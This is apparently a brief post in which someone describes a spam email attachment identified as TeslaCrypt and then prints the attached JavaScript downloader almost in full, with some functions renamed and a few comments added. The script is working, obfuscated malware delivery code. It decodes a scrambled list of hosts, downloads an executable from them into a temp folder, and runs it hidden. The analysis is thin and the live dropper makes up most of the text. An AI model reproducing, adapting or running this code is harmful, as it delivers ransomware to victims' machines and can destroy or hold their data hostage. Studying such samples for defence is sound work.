Got this yesterday in my spam folder. After working through the js-in-zip attachment beneath, I uploaded it to virustotal and got the classification of TeslaCrypt for the js and the actual downloaded binary.
functions with a readable name were, surprise, renamed by me.
js
functionrunScript(GJaRFJrtZko){varscript_shell=WScript.CreateObject("Wscript.Shell");script_shell.Run(GJaRFJrtZko,0x1,0x0);}functiongetTempPath(PtUAL,LlFXs,FlysN){varmkLge="NdGVLQ Bpp pt.Shell bllEtPp Scri".split(" ");varshell=((1)?"W"+mkLge[4]:"")+mkLge[2];varpt=WScript.CreateObject(shell);varGk="%TEMP%\\";returnpt.ExpandEnvironmentStrings(Gk);}functiongetFileSystemObject(){varxAcDuWW="ipting";vargrQibGokBt="ile";varxJpUs="System";return"Sc"+"r"+xAcDuWW+".F"+grQibGokBt+xJpUs+"Obj"+"ect";//COH: return Scripting.FileSystemObject
}functioneWoi(imumB){returnWScript.CreateObject(imumB);}functionBCqs(tiLfc,OztrY){tiLfc.write(OztrY);}functionDKdw(ReLQG){ReLQG.open();}functionkVOM(OtVRo,bQfrW){OtVRo.saveToFile(bQfrW,967-965);}functionqdXC(NJfpu,eKPkH,suJDl){NJfpu.open(suJDl,eKPkH,false);}functioneaom(RCxQE){if(RCxQE==975-775){returntrue;}else{returnfalse;}}functionDGGa(ugtoW){if(ugtoW>170089-579){//COH: 169510
returntrue;}else{returnfalse;}}//COH given the string scrambled, return a string that only contains the
// characters which were at odd indices
functionzoYB(scrambled){varret="";for(j=0;j<scrambled.length;j++)if(j%2!=0){ret+=scrambled.substr(j,1);}returnret;}functionaPJG(Kgoie){Kgoie.send();}functionmuxg(TIMdT){returnTIMdT.status;}varyQ="0tyhNi6szivsGiWtQsqqQqx.Uc7owmo/T6N9L.reWxxej?l 4omhriEysodu1nBg1bzutydf8fi.IcDo9mh/x6J9t.MeLxaek?l M?x d?f I?";varm=zoYB(yQ).split(" ");varHnS=getTempPath("qQHr","QWyZf","lMxsrd");varlnR=newActiveXObject(getFileSystemObject());varPAfC=HnS+"gCQQtMh\\";try{lnR.CreateFolder(PAfC);}catch(Nxfyoh){};varCdk="2.XMLH";varPVo=(Cdk+"TTP"+" qrdKixY yufRR XML ream St tpRdoTVk AD ZPRWRnX OD").split(" ");varua=true,Laak=PVo[7]+""+PVo[9];varlo=eWoi("MS"+PVo[3]+(525261,PVo[0]));varCJf=eWoi(Laak+"B."+PVo[5]+(689665,PVo[4]));varVWV=0;varK=1;varTnYmoIC=833555;varO=VWV;while(true){if(O>=m.length){break;}//COH around here, it assembles the http ajax get request.
varap=0;varxzS=("ht"+" DBUIFTI tp kDeqN RHNqiQAB :// laYRvLL .exe GET").split(" ");try{qdXC(lo,xzS[0]+xzS[2]+xzS[5]+m[O]+K,"GET");aPJG(lo);if(eaom(muxg(lo))){DKdw(CJf);CJf.type=1;BCqs(CJf,lo.responseBody);if(DGGa(CJf.size)){ap=1;CJf.position=0;kVOM(CJf,/*EAa982l7jX*/PAfC/*dub829fDxZ*/+TnYmoIC+xzS[7]);try{if(((newDate())>0,793708888)){runScript(PAfC+TnYmoIC+/*KEKW17I1vu*/xzS[7]/*nexd42SjGg*/);break;}}catch(Ee){};};CJf.close();};if(ap==1){VWV=O;break;};}catch(Ee){};O++;};